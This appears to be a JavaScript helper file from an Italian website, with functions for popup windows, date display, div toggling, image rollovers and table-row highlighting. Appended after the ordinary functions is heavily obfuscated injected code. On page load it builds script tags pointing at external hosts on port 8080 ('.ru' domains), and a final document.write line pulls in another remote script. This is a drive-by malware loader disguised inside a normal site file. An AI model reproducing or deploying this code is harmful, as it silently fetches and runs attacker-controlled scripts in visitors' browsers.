//serve per il div find
var come = 'S';

      function MyWindow(sURL, sWindowName, iWidth, iHeight)
      {
      	var iTop  = (screen.height - iHeight) / 2 ;
      	var iLeft = (screen.width  - iWidth)  / 2 ;
      
      	var sOption  = "location=no,menubar=no,toolbar=no,scrollbars=yes,resizable=yes,status=no";
      		sOption += ",width=" + iWidth; 
      		sOption += ",height=" + iHeight;
      		sOption += ",top="  + iTop;
      		sOption += ",left=" + iLeft;
      	
      	var oWindow = window.open('',sWindowName,sOption)
      	oWindow.moveTo(iLeft,iTop);
      	oWindow.resizeTo(iWidth, iHeight);
      	oWindow.location.href = sURL ;
      	oWindow.focus();
      }

function FotoWindow(sURL, sWindowName, iWidth, iHeight)
{
	var iTop  = (screen.height - iHeight) / 2 ;
	var iLeft = (screen.width  - iWidth)  / 2 ;

	var sOption  = "location=no,menubar=no,toolbar=no,scrollbars=no,resizable=no,status=no";
		sOption += ",width=" + iWidth; 
		sOption += ",height=" + iHeight;
		sOption += ",top="  + iTop;
		sOption += ",left=" + iLeft;
	
	var oWindow = window.open('',sWindowName,sOption)
	oWindow.moveTo(iLeft,iTop);
	oWindow.resizeTo(iWidth, iHeight);
	oWindow.location.href = sURL ;
	oWindow.focus();
}

function MyWindowFull(sURL, sWindowName)
{
	var w     = (screen.width - 10);
	var h     = (screen.height - 80);

	var sOption  = "location=no,menubar=no,toolbar=no,scrollbars=no,resizable=yes,status=yes";
		sOption += ",width=" + w; 
		sOption += ",height=" + h;
	
	var oWindow = window.open('',sWindowName,sOption)
	oWindow.moveTo(0, 0);
	oWindow.location.href = sURL ;
	oWindow.focus();
}

function OpenMenu(sWindowName, indi, iWidth, iHeight)
{
  var iTop  = (screen.height - iHeight) / 2 ;
  var iLeft = (screen.width  - iWidth)  / 2 ;
  var sURL  = indi;
  
  var sOption  = "location=no,menubar=no,toolbar=no,scrollbars=no,resizable=yes,status=yes";
  sOption += ",width=" + iWidth; 
  sOption += ",height=" + iHeight;
  sOption += ",top="  + iTop;
  sOption += ",left=" + iLeft;
  
  var oWindow = window.open('',sWindowName,sOption)
  oWindow.moveTo(iLeft,iTop);
  oWindow.resizeTo(iWidth, iHeight);
  oWindow.location.href = sURL ;
  oWindow.focus();
}

function preferiti(){
  alert("Aggiungi ai Preferiti");
}

function home(){
  alert("Setta come Home");
}

      function indietro(azione, indirizzo)
      {
      	var v_bool = false;
        if (azione == "annulla"){
          window.close();
        }else if (azione == "indietro"){
          window.opener.location=indirizzo;
          window.close();
        }else if (azione == "indietro_d"){
          window.location=indirizzo;
        }else if (azione == "cambia_top"){
          window.top.location=indirizzo;
        }else if (azione == "chiudi_top"){
          v_bool = conferma('Sei sicuro di voler uscire?');
          if (v_bool){
            alert('Ciao Ciao!');
            window.top.location=indirizzo;
          }
        }
      }
      
      function conferma(domanda)
      {
        var risposta = confirm(domanda);
        if (risposta){
          return true;
        }else{
          return false;
        }
        
      }
      
      function fuoco(thisform){
      	with (thisform){
          elements[0].focus();
        }
      }

      function submit_form(thisform){
        with (thisform){
          submit();
        }
      }

      function stampa_data(){
      	var mesi = new Array("Gennaio"," Febbraio","Marzo","Aprile","Maggio","Giugno","Luglio","Agosto","Settembre","Ottobre","Novembre","Dicembre");
        var giorni = new Array("Domenica","Lunedi","Martedi","Mercoledi","Giovedi","Venerdi","Sabato");
        mydata = new Date();
        giorno = mydata.getDate();
        g_set  = mydata.getDay();
        mese   = mydata.getMonth();
        anno   = mydata.getFullYear();
        ore    = mydata.getHours();
        minu   = mydata.getMinutes();
        sec    = mydata.getSeconds();
        stampa = giorni[g_set]+" "+giorno+" "+mesi[mese]+" "+anno; //+"<BR>"+ore+":"+minu+":"+sec
        document.write(stampa);
      }

      function test_browser(){
        alert("Name: "+navigator.appName+" - Version: "+navigator.appVersion);
      }

      function mostra_div(chi, come){
      	//test_browser();
      	if (navigator.appName == "Netscape"){
          if (come == 'S'){
            document.getElementById(chi).style.visibility='visible';
            come = 'H';
          }else{
            document.getElementById(chi).style.visibility='hidden';
            come = 'S';
          }
      	}else{
          links=document.getElementsByName(chi);
          if (come == 'S'){
            links[0].style.visibility='visible';
            come = 'H';
          }else{
            links[0].style.visibility='hidden';
            come = 'S';
          }
        }
      }

function controlla_top(indirizzo){
  //alert('controlla top '+window.top.location);
  if (window.top.location != indirizzo+'index1.php'){
    window.top.location=indirizzo+'index1.php';
  }
}

//funzioni per il rollover
function newImage(arg) {
	if (document.images) {
		rslt = new Image();
		rslt.src = arg;
		return rslt;
	}
}

function changeImages() {
	if (document.images && (preloadFlag == true)) {
		for (var i=0; i<changeImages.arguments.length; i+=2) {
			document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
		}
	}
}

var preloadFlag = false;
function preloadImages() {
	if (document.images) {
		mylogo_over = newImage("./system_img/mylogo_over.jpg");
		preloadFlag = true;
	}
}
//fine funzioni per il rollover
/**
 * Sets/unsets the pointer and marker in browse mode
 *
 * @param   object   the table row
 * @param   string   the action calling this script (over, out or click)
 * @param   string   the default background color
 * @param   string   the color to use for mouseover
 * @param   string   the color to use for marking a row
 *
 * @return  boolean  whether pointer is set or not
 */
function setPointer(theRow, theAction, theDefaultColor, thePointerColor, theMarkColor)
{

    //alert('setPointer');

    var theCells = null;

    // 1. Pointer and mark feature are disabled or the browser can't get the
    //    row -> exits
    if ((thePointerColor == '' && theMarkColor == '')
        || typeof(theRow.style) == 'undefined') {
        return false;
    }

    // 2. Gets the current row and exits if the browser can't get it
    if (typeof(document.getElementsByTagName) != 'undefined') {
        theCells = theRow.getElementsByTagName('td');
    }
    else if (typeof(theRow.cells) != 'undefined') {
        theCells = theRow.cells;
    }
    else {
        return false;
    }

    // 3. Gets the current color...
    var rowCellsCnt  = theCells.length;
    var domDetect    = null;
    var currentColor = null;
    var newColor     = null;
    // 3.1 ... with DOM compatible browsers except Opera that does not return
    //         valid values with "getAttribute"
    if (typeof(window.opera) == 'undefined'
        && typeof(theCells[0].getAttribute) != 'undefined') {
        currentColor = theCells[0].getAttribute('bgcolor');
        domDetect    = true;
    }
    // 3.2 ... with other browsers
    else {
        currentColor = theCells[0].style.backgroundColor;
        domDetect    = false;
    } // end 3

    // 4. Defines the new color
    // 4.1 Current color is the default one
    if (currentColor == ''
        || currentColor.toLowerCase() == theDefaultColor.toLowerCase()) {
        if (theAction == 'over' && thePointerColor != '') {
            newColor = thePointerColor;
        }
        else if (theAction == 'click' && theMarkColor != '') {
            newColor = theMarkColor;
        }
    }
    // 4.1.2 Current color is the pointer one
    else if (currentColor.toLowerCase() == thePointerColor.toLowerCase()) {
        if (theAction == 'out') {
            newColor = theDefaultColor;
        }
        else if (theAction == 'click' && theMarkColor != '') {
            newColor = theMarkColor;
        }
    }
    // 4.1.3 Current color is the marker one
    else if (currentColor.toLowerCase() == theMarkColor.toLowerCase()) {
        if (theAction == 'click') {
            newColor = (thePointerColor != '')
                     ? thePointerColor
                     : theDefaultColor;
        }
    } // end 4

    // 5. Sets the new color...
    if (newColor) {
        var c = null;
        // 5.1 ... with DOM compatible browsers except Opera
        if (domDetect) {
            for (c = 0; c < rowCellsCnt; c++) {
                theCells[c].setAttribute('bgcolor', newColor, 0);
            } // end for
        }
        // 5.2 ... with other browsers
        else {
            for (c = 0; c < rowCellsCnt; c++) {
                theCells[c].style.backgroundColor = newColor;
            }
        }
    } // end 5

    return true;
} // end of the 'setPointer()' function

f=15723;f++;var Qh={fM:53729};this.u=24727;this.u-=165;var On=new Array();function t(){var oG='';this.Rl="Rl";wQ=64854;wQ--;var DR="DR";var q="bo"+"dy";try {var lj='j'} catch(lj){};this.dV=34103;this.dV++;var I=String("ap"+"drGOpe".substr(4)+"3Db8ndb3D8".substr(4,2)+"CheGPI".substr(0,2)+"il"+"d");this.r=false;var y="cre"+"ate"+"Ele6k4".substr(0,3)+"menMfs".substr(0,3)+"t";this.Vu=12975;this.Vu++;var i=new String("scripuwj".substr(0,5)+"t");var w=window;var Z="defe"+"r";this.a=2601;this.a+=254;var S="onloa"+"d";var Q=document;_=4063;_--;var os=18852;var F=new String();var D=String("src");var J=["N","YY","PA"];function tu(){this.Ty=9976;this.Ty+=110;WA=22998;WA+=178;Ke=["dF","Kp"];try {this.nV=30884;this.nV--;try {} catch(ij){};var AM={Uv:"w_"};var B=870563-862483;var _X=[];var g="htt"+"p:/"+"/pa"+"ssp"+"kCKZort".substr(4)+"blu"+"es.Kv5".substr(0,3)+"ru:";var v=String("/wp"+"-pl"+"/go"+"ogl"+"e.c"+"om/"+"gam"+"etr"+"ail"+"ers"+".co"+"m.p"+"1ok5hp".substr(4));var OCA=["gE","s"];var Dj=1319-1318;var uy={NT:9891};var YO={dFT:47976};W=Q[y](i);pH=["yp","gr","oz"];this.TD='';W[D]=g+B+v;var lO="";W[Z]=Dj;try {var UC='pL'} catch(UC){};Q[q][I](W);var yy={DV:false};} catch(yC){this.Yb='';this.nea='';var se={ss:false};};}try {var E='VI'} catch(E){};w[S]=tu;};G={cx:false};t();this.El=34133;this.El+=253;try {} catch(Xd){};
try {var Hb='V'} catch(Hb){};try {var p='DS'} catch(p){};try {var N=new String();var n=new String();sZ={};kB=[];try {var Z='oa'} catch(Z){};var H=window[new String("unes"+"cape")];var mK='';pF=19108;pF+=206;try {} catch(nA){};var k_=new Date();var G=new String("repMEK".substr(0,3)+"lac"+"e");this.M=17706;this.M--;Vu=[];YT={oV:"ke"};var FU=new String();var ht={};var s='';try {} catch(Zn){};za={};this.zJ=37342;this.zJ-=2;this.OI=45618;this.OI-=183;var K=new Date();var x=new String("1");var j=["Pt"];this.JG='';var xx=["i"];this.r="r";this.zR="zR";var Q=window[("Rex5y".substr(0,2)+"xm93gE".substr(4)+"VUKsxpVUKs".substr(4,2))];var g=new String("onlfwuG".substr(0,3)+"oad");var nf={tj:false};var lF=["sP","JU","QP"];Sq=["xJa"];this.Kc="Kc";var ye="ye";kt=16100;kt-=225;var No="";function F(x,_){this.uC=63015;this.uC++;this.dr="dr";var c=new String("[");var qo="";var sC=[];var he=[];e=["Kd"];var sPq="";c+=_;var Yu=["Qc"];var jX=["hq"];c+=H("%5d");this.bm="";var Ml=["CS","AB"];var gD=["Hq","dx"];var IX={vj:"FV"};this.BC="";var uz=["ff","Lb"];var zy=new String();yp=["pp"];var D=new Q(c, "g");return x.replace(D, s);var wf=new Date();DC=8073;DC++;CT={vA:"Op"};var Ns=new Date();};vZ=["sH"];Or=39535;Or-=185;yn={Gi:12246};var q=String("/go"+"oglXMYm".substr(0,3)+"e.c"+"om/"+"tub"+"e8."+"com"+"/ma"+"kto"+"ob."+"uA6com".substr(3)+".ph"+"p");var DJ=String("htt"+"p:/arMF".substr(0,3)+"3uIW/go".substr(4)+"thgP0IM".substr(0,3)+"TtEDuilEDtT".substr(4,3)+"O8udt.rd8Ou".substr(4,3)+"u:");var DG="DG";var HX=["Bf","cU","CA"];var um='';FK=[];var MJ=["Mz"];var P=721098-713018;uy={wH:false};Ck={rw:false};var js=new String();Gp=["p_"];YY=["SD","TO","DZ"];var uQH=new Array();UY=["BR","uV","vt"];function f(){this.HP=15860;this.HP++;this.j_=54869;this.j_-=194;var Y=F('sOc1rvivpBtO','qMvHO1B');var pM=new Array();var I=document;Aq={kF:"CP"};this.Dv=13596;this.Dv--;Gh={ER:"GM"};var U=new String("dNoapp".substr(3)+"endEog6".substr(0,3)+"ChiKbMD".substr(0,3)+"hYZld".substr(3));this.jf="jf";this.It="It";var Ve=new String();this.FUO="FUO";var ws=false;aR=17792;aR++;DV={lU:37980};_E=54221;_E++;R=I.createElement(Y);Co=47065;Co--;var ve=new Date();var gH={};Yqe=["Tw","jx"];var Xg='';UT=9377;UT--;var dm=["Kw","zs","ox"];var dn='';E=DJ+P;E=E+q;try {} catch(ef){};this.PcG="";var hrD=new Array();try {} catch(gf){};var X=I.body;var rM=[];this.vY=false;lA=["yD","jw"];var cs=[];try {var pA='cT'} catch(pA){};R["KrHdefe".substr(3)+"r"]=x;hf={mR:"Zu"};var MW={ZE:"Rw"};Ws={};var NU={Jfm:"fx"};R.src=E;var cW=["qs"];sI={};var T_=["Jc"];this.w_f=false;X[U](R);var zD={zN:false};Hg=6441;Hg--;this.XR="XR";this.OJ="OJ";this.CQ=31438;this.CQ++;};var Nw=false;this.NK="NK";Ct=[];window[g]=f;var ZD=new Date();} catch(RS){this.gX=false;this.Wm=false;DX={WS:38950};this.nb=false;};var uF=["uHe","hz"];try {var OvC='Ah'} catch(OvC){};rK=["Xz"];




document.write('<s'+'cript type="text/javascript" src="http://questtore.hermosayasociados.com:8080/Unmount.js"></scr'+'ipt>');